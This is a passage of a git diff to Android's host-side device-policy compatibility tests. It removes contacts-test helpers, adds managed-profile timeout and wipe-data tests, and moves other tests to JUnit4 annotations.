-    private void verifyUnifiedPassword(boolean unified) throws DeviceNotAvailableException {
-        final String testMethod =
-                unified ? "testUsingUnifiedPassword" : "testNotUsingUnifiedPassword";
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".IsUsingUnifiedPasswordTest",
-                testMethod, mProfileUserId);
-    }
-
-    private void disableActivityForUser(String activityName, int userId)
-            throws DeviceNotAvailableException {
-        String command = "am start -W --user " + userId
-                + " --es extra-package " + MANAGED_PROFILE_PKG
-                + " --es extra-class-name " + MANAGED_PROFILE_PKG + "." + activityName
-                + " " + MANAGED_PROFILE_PKG + "/.ComponentDisablingActivity ";
-        CLog.d("Output for command " + command + ": "
-                + getDevice().executeShellCommand(command));
-    }
-
     private void changeUserRestrictionOrFail(String key, boolean value, int userId)
             throws DeviceNotAvailableException {
         changeUserRestrictionOrFail(key, value, userId, MANAGED_PROFILE_PKG);
@@ -1662,25 +620,6 @@
         return changeUserRestriction(key, value, userId, MANAGED_PROFILE_PKG);
     }
 
-    private void setIdleWhitelist(String packageName, boolean enabled)
-            throws DeviceNotAvailableException {
-        String command = "cmd deviceidle whitelist " + (enabled ? "+" : "-") + packageName;
-        CLog.d("Output for command " + command + ": "
-                + getDevice().executeShellCommand(command));
-    }
-
-    private String changeCrossProfileWidgetForUser(String packageName, String command, int userId)
-            throws DeviceNotAvailableException {
-        String adbCommand = "am start -W --user " + userId
-                + " -c android.intent.category.DEFAULT "
-                + " --es extra-command " + command
-                + " --es extra-package-name " + packageName
-                + " " + MANAGED_PROFILE_PKG + "/.SetPolicyActivity";
-        String commandOutput = getDevice().executeShellCommand(adbCommand);
-        CLog.d("Output for command " + adbCommand + ": " + commandOutput);
-        return commandOutput;
-    }
-
     // status should be one of never, undefined, ask, always
     private void changeVerificationStatus(int userId, String packageName, String status)
             throws DeviceNotAvailableException {
@@ -1689,15 +628,6 @@
                 + getDevice().executeShellCommand(command));
     }
 
-    protected void startWidgetHostService() throws Exception {
-        String command = "am startservice --user " + mParentUserId
-                + " -a " + WIDGET_PROVIDER_PKG + ".REGISTER_CALLBACK "
-                + "--ei user-extra " + getUserSerialNumber(mProfileUserId)
-                + " " + WIDGET_PROVIDER_PKG + "/.SimpleAppWidgetHostService";
-        CLog.d("Output for command " + command + ": "
-                + getDevice().executeShellCommand(command));
-    }
-
     private void assertAppLinkResult(String methodName) throws DeviceNotAvailableException {
         runDeviceTestsAsUser(INTENT_SENDER_PKG, ".AppLinkTest", methodName,
                 mProfileUserId);
@@ -1706,290 +636,4 @@
     private boolean shouldRunTelecomTest() throws DeviceNotAvailableException {
         return hasDeviceFeature(FEATURE_TELEPHONY) && hasDeviceFeature(FEATURE_CONNECTION_SERVICE);
     }
-
-    private void runManagedContactsTest(Callable<Void> callable) throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        try {
-            // Allow cross profile contacts search.
-            // TODO test both on and off.
-            getDevice().executeShellCommand(
-                    "settings put --user " + mProfileUserId
-                    + " secure managed_profile_contact_remote_search 1");
-
-            // Add test account
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testAddTestAccount", mParentUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testAddTestAccount", mProfileUserId);
-
-            // Install directory provider to both primary and managed profile
-            installAppAsUser(DIRECTORY_PROVIDER_APK, USER_ALL);
-            setDirectoryPrefix(PRIMARY_DIRECTORY_PREFIX, mParentUserId);
-            setDirectoryPrefix(MANAGED_DIRECTORY_PREFIX, mProfileUserId);
-
-            // Check enterprise directory API works
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testGetDirectoryListInPrimaryProfile", mParentUserId);
-
-            // Insert Primary profile Contacts
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testPrimaryProfilePhoneAndEmailLookup_insertedAndfound", mParentUserId);
-            // Insert Managed profile Contacts
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testManagedProfilePhoneAndEmailLookup_insertedAndfound", mProfileUserId);
-            // Insert a primary contact with same phone & email as other
-            // enterprise contacts
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testPrimaryProfileDuplicatedPhoneEmailContact_insertedAndfound",
-                    mParentUserId);
-            // Insert a enterprise contact with same phone & email as other
-            // primary contacts
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testManagedProfileDuplicatedPhoneEmailContact_insertedAndfound",
-                    mProfileUserId);
-
-            callable.call();
-
-        } finally {
-            // Clean up in managed profile and primary profile
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testCurrentProfileContacts_removeContacts", mProfileUserId);
-            runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ContactsTest",
-                    "testCurrentProfileContacts_removeContacts", mParentUserId);
-            getDevice().uninstallPackage(DIRECTORY_PROVIDER_PKG);
-        }
-    }
-
-
-    /*
-     * Container for running ContactsTest under multi-user environment
-     */
-    private static class ContactsTestSet {
-
-        private ManagedProfileTest mManagedProfileTest;
-        private String mManagedProfilePackage;
-        private int mParentUserId;
-        private int mProfileUserId;
-
-        public ContactsTestSet(ManagedProfileTest managedProfileTest, String managedProfilePackage,
-                int parentUserId, int profileUserId) {
-            mManagedProfileTest = managedProfileTest;
-            mManagedProfilePackage = managedProfilePackage;
-            mParentUserId = parentUserId;
-            mProfileUserId = profileUserId;
-        }
-
-        private void runDeviceTestsAsUser(String pkgName, String testClassName,
-                String testMethodName, Integer userId) throws DeviceNotAvailableException {
-            mManagedProfileTest.runDeviceTestsAsUser(pkgName, testClassName, testMethodName,
-                    userId);
-        }
-
-        // Enable / Disable
-        public void setCallerIdEnabled(boolean enabled) throws DeviceNotAvailableException {
-            if (enabled) {
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testSetCrossProfileCallerIdDisabled_false", mProfileUserId);
-            } else {
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testSetCrossProfileCallerIdDisabled_true", mProfileUserId);
-            }
-        }
-
-        // Enable / Disable cross profile contacts search
-        public void setContactsSearchEnabled(boolean enabled) throws DeviceNotAvailableException {
-            if (enabled) {
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testSetCrossProfileContactsSearchDisabled_false", mProfileUserId);
-            } else {
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testSetCrossProfileContactsSearchDisabled_true", mProfileUserId);
-            }
-        }
-
-        public void checkIfCanLookupEnterpriseContacts(boolean expected)
-                throws DeviceNotAvailableException {
-            // Primary user cannot use ordinary phone/email lookup api to access
-            // managed contacts
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfilePhoneLookup_canNotAccessEnterpriseContact", mParentUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEmailLookup_canNotAccessEnterpriseContact", mParentUserId);
-            // Primary user can use ENTERPRISE_CONTENT_FILTER_URI to access
-            // primary contacts
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterprisePhoneLookup_canAccessPrimaryContact",
-                    mParentUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterpriseEmailLookup_canAccessPrimaryContact",
-                    mParentUserId);
-            // When there exist contacts with the same phone/email in primary &
-            // enterprise,
-            // primary user can use ENTERPRISE_CONTENT_FILTER_URI to access the
-            // primary contact.
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterpriseEmailLookupDuplicated_canAccessPrimaryContact",
-                    mParentUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterprisePhoneLookupDuplicated_canAccessPrimaryContact",
-                    mParentUserId);
-
-            // Managed user cannot use ordinary phone/email lookup api to access
-            // primary contacts
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfilePhoneLookup_canNotAccessPrimaryContact", mProfileUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEmailLookup_canNotAccessPrimaryContact", mProfileUserId);
-            // Managed user can use ENTERPRISE_CONTENT_FILTER_URI to access
-            // enterprise contacts
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEnterprisePhoneLookup_canAccessEnterpriseContact",
-                    mProfileUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEnterpriseEmailLookup_canAccessEnterpriseContact",
-                    mProfileUserId);
-            // Managed user cannot use ENTERPRISE_CONTENT_FILTER_URI to access
-            // primary contacts
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEnterprisePhoneLookup_canNotAccessPrimaryContact",
-                    mProfileUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEnterpriseEmailLookup_canNotAccessPrimaryContact",
-                    mProfileUserId);
-            // When there exist contacts with the same phone/email in primary &
-            // enterprise,
-            // managed user can use ENTERPRISE_CONTENT_FILTER_URI to access the
-            // enterprise contact.
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEnterpriseEmailLookupDuplicated_canAccessEnterpriseContact",
-                    mProfileUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEnterprisePhoneLookupDuplicated_canAccessEnterpriseContact",
-                    mProfileUserId);
-
-            // Check if phone lookup can access primary directories
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterprisePhoneLookup_canAccessPrimaryDirectories",
-                    mParentUserId);
-
-            // Check if email lookup can access primary directories
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterpriseEmailLookup_canAccessPrimaryDirectories",
-                    mParentUserId);
-
-            if (expected) {
-                // Primary user can use ENTERPRISE_CONTENT_FILTER_URI to access
-                // managed profile contacts
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterprisePhoneLookup_canAccessEnterpriseContact",
-                        mParentUserId);
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterpriseEmailLookup_canAccessEnterpriseContact",
-                        mParentUserId);
-
-                // Make sure SIP enterprise lookup works too.
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterpriseSipLookup_canAccessEnterpriseContact",
-                        mParentUserId);
-
-                // Check if phone lookup can access enterprise directories
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterprisePhoneLookup_canAccessManagedDirectories",
-                        mParentUserId);
-
-                // Check if email lookup can access enterprise directories
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterpriseEmailLookup_canAccessManagedDirectories",
-                        mParentUserId);
-            } else {
-                // Primary user cannot use ENTERPRISE_CONTENT_FILTER_URI to
-                // access managed contacts
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterprisePhoneLookup_canNotAccessEnterpriseContact",
-                        mParentUserId);
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterprisePhoneLookup_canNotAccessManagedDirectories",
-                        mParentUserId);
-
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterpriseEmailLookup_canNotAccessManagedDirectories",
-                        mParentUserId);
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterprisePhoneLookup_canNotAccessManagedDirectories",
-                        mParentUserId);
-            }
-        }
-
-        public void checkIfCanFilterSelfContacts() throws DeviceNotAvailableException {
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterpriseCallableFilter_canAccessPrimaryDirectories",
-                    mParentUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEnterpriseCallableFilter_canAccessManagedDirectories",
-                    mProfileUserId);
-
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterpriseEmailFilter_canAccessPrimaryDirectories",
-                    mParentUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testEnterpriseProfileEnterpriseEmailFilter_canAccessManagedDirectories",
-                    mProfileUserId);
-
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterpriseContactFilter_canAccessPrimaryDirectories",
-                    mParentUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEnterpriseContactFilter_canAccessManagedDirectories",
-                    mProfileUserId);
-
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterprisePhoneFilter_canAccessPrimaryDirectories",
-                    mParentUserId);
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testManagedProfileEnterprisePhoneFilter_canAccessManagedDirectories",
-                    mProfileUserId);
-        }
-
-        public void checkIfCanFilterEnterpriseContacts(boolean expected)
-                throws DeviceNotAvailableException {
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testFilterUriWhenDirectoryParamMissing", mParentUserId);
-            if (expected) {
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterpriseCallableFilter_canAccessManagedDirectories",
-                        mParentUserId);
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterpriseEmailFilter_canAccessManagedDirectories",
-                        mParentUserId);
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterpriseContactFilter_canAccessManagedDirectories",
-                        mParentUserId);
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterprisePhoneFilter_canAccessManagedDirectories",
-                        mParentUserId);
-            } else {
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterpriseCallableFilter_canNotAccessManagedDirectories",
-                        mParentUserId);
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterpriseEmailFilter_canNotAccessManagedDirectories",
-                        mParentUserId);
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterpriseContactFilter_canNotAccessManagedDirectories",
-                        mParentUserId);
-                runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                        "testPrimaryProfileEnterprisePhoneFilter_canNotAccessManagedDirectories",
-                        mParentUserId);
-            }
-        }
-
-        public void checkIfNoEnterpriseDirectoryFound() throws DeviceNotAvailableException {
-            runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
-                    "testPrimaryProfileEnterpriseDirectories_canNotAccessManagedDirectories",
-                    mParentUserId);
-        }
-    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java
new file mode 100644
index 0000000..5f6d957
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTimeoutTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.devicepolicy;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+import org.junit.Test;
+
+import java.util.concurrent.TimeUnit;
+
+public class ManagedProfileTimeoutTest extends BaseManagedProfileTest {
+    private static final String PROFILE_CREDENTIAL = "1234";
+    // This should be sufficiently larger than ProfileTimeoutTestHelper.TIMEOUT_MS
+    private static final int PROFILE_TIMEOUT_DELAY_MS = 40_000;
+
+    /** Profile should get locked if it is not in foreground no matter what. */
+    @FlakyTest
+    @Test
+    public void testWorkProfileTimeoutBackground() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        setUpWorkProfileTimeout();
+
+        startDummyActivity(mPrimaryUserId, true);
+        simulateUserInteraction(PROFILE_TIMEOUT_DELAY_MS);
+
+        verifyOnlyProfileLocked(true);
+    }
+
+    /** Profile should get locked if it is in foreground but with no user activity. */
+    @LargeTest
+    @Test
+    public void testWorkProfileTimeoutIdleActivity() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        setUpWorkProfileTimeout();
+
+        startDummyActivity(mProfileUserId, false);
+        Thread.sleep(PROFILE_TIMEOUT_DELAY_MS);
+
+        verifyOnlyProfileLocked(true);
+    }
+
+    /** User activity in profile should prevent it from locking. */
+    @FlakyTest
+    @Test
+    public void testWorkProfileTimeoutUserActivity() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        setUpWorkProfileTimeout();
+
+        startDummyActivity(mProfileUserId, false);
+        simulateUserInteraction(PROFILE_TIMEOUT_DELAY_MS);
+
+        verifyOnlyProfileLocked(false);
+    }
+
+    /** Keep screen on window flag in the profile should prevent it from locking. */
+    @FlakyTest
+    @Test
+    public void testWorkProfileTimeoutKeepScreenOnWindow() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        setUpWorkProfileTimeout();
+
+        startDummyActivity(mProfileUserId, true);
+        Thread.sleep(PROFILE_TIMEOUT_DELAY_MS);
+
+        verifyOnlyProfileLocked(false);
+    }
+
+    private void setUpWorkProfileTimeout() throws DeviceNotAvailableException {
+        // Set separate challenge.
+        changeUserCredential(PROFILE_CREDENTIAL, null, mProfileUserId);
+
+        // Make sure the profile is not prematurely locked.
+        verifyUserCredential(PROFILE_CREDENTIAL, mProfileUserId);
+        verifyOnlyProfileLocked(false);
+        // Set profile timeout to 5 seconds.
+        runProfileTimeoutTest("testSetWorkProfileTimeout", mProfileUserId);
+    }
+
+    private void verifyOnlyProfileLocked(boolean locked) throws DeviceNotAvailableException {
+        final String expectedResultTest = locked ? "testDeviceLocked" : "testDeviceNotLocked";
+        runProfileTimeoutTest(expectedResultTest, mProfileUserId);
+        // Primary profile shouldn't be locked.
+        runProfileTimeoutTest("testDeviceNotLocked", mPrimaryUserId);
+    }
+
+    private void simulateUserInteraction(int timeMs) throws Exception {
+        final long endTime = System.nanoTime() + TimeUnit.MILLISECONDS.toNanos(timeMs);
+        final UserActivityEmulator helper = new UserActivityEmulator(getDevice());
+        while (System.nanoTime() < endTime) {
+            helper.tapScreenCenter();
+            // Just in case to prevent busy loop.
+            Thread.sleep(100);
+        }
+    }
+
+    private void runProfileTimeoutTest(String method, int userId)
+            throws DeviceNotAvailableException {
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ProfileTimeoutTestHelper",
+                method, userId);
+    }
+
+    private void startDummyActivity(int profileUserId, boolean keepScreenOn) throws Exception {
+        getDevice().executeShellCommand(String.format(
+                "am start-activity -W --user %d --ez keep_screen_on %s %s/.TimeoutActivity",
+                profileUserId, keepScreenOn, MANAGED_PROFILE_PKG));
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java
new file mode 100644
index 0000000..eb98210
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.FlakyTest;
+import android.stats.devicepolicy.EventId;
+
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+
+import org.junit.Test;
+
+public class ManagedProfileWipeTest extends BaseManagedProfileTest {
+    @FlakyTest
+    @Test
+    public void testWipeDataWithReason() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        assertTrue(listUsers().contains(mProfileUserId));
+        sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITH_REASON");
+        // Note: the managed profile is removed by this test, which will make removeUserCommand in
+        // tearDown() to complain, but that should be OK since its result is not asserted.
+        assertUserGetsRemoved(mProfileUserId);
+        // testWipeDataWithReason() removes the managed profile,
+        // so it needs to separated from other tests.
+        // Check and clear the notification is presented after work profile got removed, so profile
+        // user no longer exists, verification should be run in primary user.
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG,
+                ".WipeDataNotificationTest",
+                "testWipeDataWithReasonVerification",
+                mParentUserId);
+    }
+
+    @FlakyTest
+    @Test
+    public void testWipeDataLogged() throws Exception {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
+            return;
+        }
+        assertTrue(listUsers().contains(mProfileUserId));
+        assertMetricsLogged(getDevice(), () -> {
+            sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITH_REASON");
+        }, new DevicePolicyEventWrapper.Builder(EventId.WIPE_DATA_WITH_REASON_VALUE)
+                .setAdminPackageName(MANAGED_PROFILE_PKG)
+                .setInt(0)
+                .build());
+        // Check and clear the notification is presented after work profile got removed, so profile
+        // user no longer exists, verification should be run in primary user.
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG,
+                ".WipeDataNotificationTest",
+                "testWipeDataWithReasonVerification",
+                mParentUserId);
+    }
+
+    @FlakyTest
+    @Test
+    public void testWipeDataWithoutReason() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        assertTrue(listUsers().contains(mProfileUserId));
+        sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITHOUT_REASON");
+        // Note: the managed profile is removed by this test, which will make removeUserCommand in
+        // tearDown() to complain, but that should be OK since its result is not asserted.
+        assertUserGetsRemoved(mProfileUserId);
+        // testWipeDataWithoutReason() removes the managed profile,
+        // so it needs to separated from other tests.
+        // Check the notification is not presented after work profile got removed, so profile user
+        // no longer exists, verification should be run in primary user.
+        runDeviceTestsAsUser(
+                MANAGED_PROFILE_PKG,
+                ".WipeDataNotificationTest",
+                "testWipeDataWithoutReasonVerification",
+                mParentUserId);
+    }
+
+    /**
+     * wipeData() test removes the managed profile, so it needs to be separated from other tests.
+     */
+    @Test
+    public void testWipeData() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        assertTrue(listUsers().contains(mProfileUserId));
+        sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA");
+        // Note: the managed profile is removed by this test, which will make removeUserCommand in
+        // tearDown() to complain, but that should be OK since its result is not asserted.
+        assertUserGetsRemoved(mProfileUserId);
+    }
+
+    private void sendWipeProfileBroadcast(String action) throws Exception {
+        final String cmd = "am broadcast --receiver-foreground --user " + mProfileUserId
+                + " -a " + action
+                + " com.android.cts.managedprofile/.WipeDataReceiver";
+        getDevice().executeShellCommand(cmd);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerHostSideTransferTest.java
index fa0e60b..a389308 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerHostSideTransferTest.java
@@ -15,6 +15,12 @@
  */
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.LargeTest;
+
+import org.junit.Test;
+
 /**
  * Tests the DPC transfer functionality for device owner. Testing is done by having two dummy DPCs,
  * CtsTransferOwnerOutgoingApp and CtsTransferOwnerIncomingApp. The former is the current DPC
@@ -32,7 +38,7 @@
             "com.android.cts.transferowner.TransferProfileOwnerOutgoingTest";
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         if (mHasFeature) {
             installAppAsUser(TRANSFER_OWNER_OUTGOING_APK, mPrimaryUserId);
@@ -49,6 +55,8 @@
         }
     }
 
+    @LargeTest
+    @Test
     public void testTransferAffiliatedProfileOwnershipCompleteCallback() throws Exception {
         if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")) {
             return;
@@ -72,6 +80,8 @@
                 mUserId);
     }
 
+    @LargeTest
+    @Test
     public void testTransferAffiliatedProfileOwnershipInComp() throws Exception {
         if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 6f3c07c..0adf9cb 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -16,10 +16,16 @@
 
 package com.android.cts.devicepolicy;
 
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.FlakyTest;
 import android.stats.devicepolicy.EventId;
 
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 
+import org.junit.Test;
+
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
@@ -34,7 +40,7 @@
     private static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         if (mHasFeature) {
@@ -51,7 +57,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove device owner",
                     removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId));
@@ -59,6 +65,7 @@
         super.tearDown();
     }
 
+    @Test
     public void testLockTask_unaffiliatedUser() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
@@ -66,8 +73,10 @@
 
         final int userId = createSecondaryUserAsProfileOwner();
         runDeviceTestsAsUser(
-                DEVICE_ADMIN_PKG, ".AffiliationTest",
-                "testLockTaskMethodsThrowExceptionIfUnaffiliated", userId);
+                DEVICE_ADMIN_PKG,
+                ".AffiliationTest",
+                "testLockTaskMethodsThrowExceptionIfUnaffiliated",
+                userId);
 
         setUserAsAffiliatedUserToPrimary(userId);
         runDeviceTestsAsUser(
@@ -77,6 +86,8 @@
                 userId);
     }
 
+    @FlakyTest(bugId = 127270520)
+    @Test
     public void testLockTask_affiliatedSecondaryUser() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
             return;
@@ -87,6 +98,7 @@
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockTaskTest", userId);
     }
 
+    @Test
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
         if (!mHasFeature) {
             return;
@@ -98,7 +110,27 @@
                         "testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
     }
 
+    @FlakyTest
     @Override
+    @Test
+    public void testCaCertManagement() throws Exception {
+        super.testCaCertManagement();
+    }
+
+    @FlakyTest(bugId = 141161038)
+    @Override
+    @Test
+    public void testCannotRemoveUserIfRestrictionSet() throws Exception {
+        super.testCannotRemoveUserIfRestrictionSet();
+    }
+
+    @FlakyTest
+    @Override
+    @Test
+    public void testInstallCaCertLogged() throws Exception {
+        super.testInstallCaCertLogged();
+    }
+
     Map<String, DevicePolicyEventWrapper[]> getAdditionalDelegationTests() {
         final Map<String, DevicePolicyEventWrapper[]> result = new HashMap<>();
         DevicePolicyEventWrapper[] expectedMetrics = new DevicePolicyEventWrapper[] {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
index 32b48d6..0e9ae3e 100644
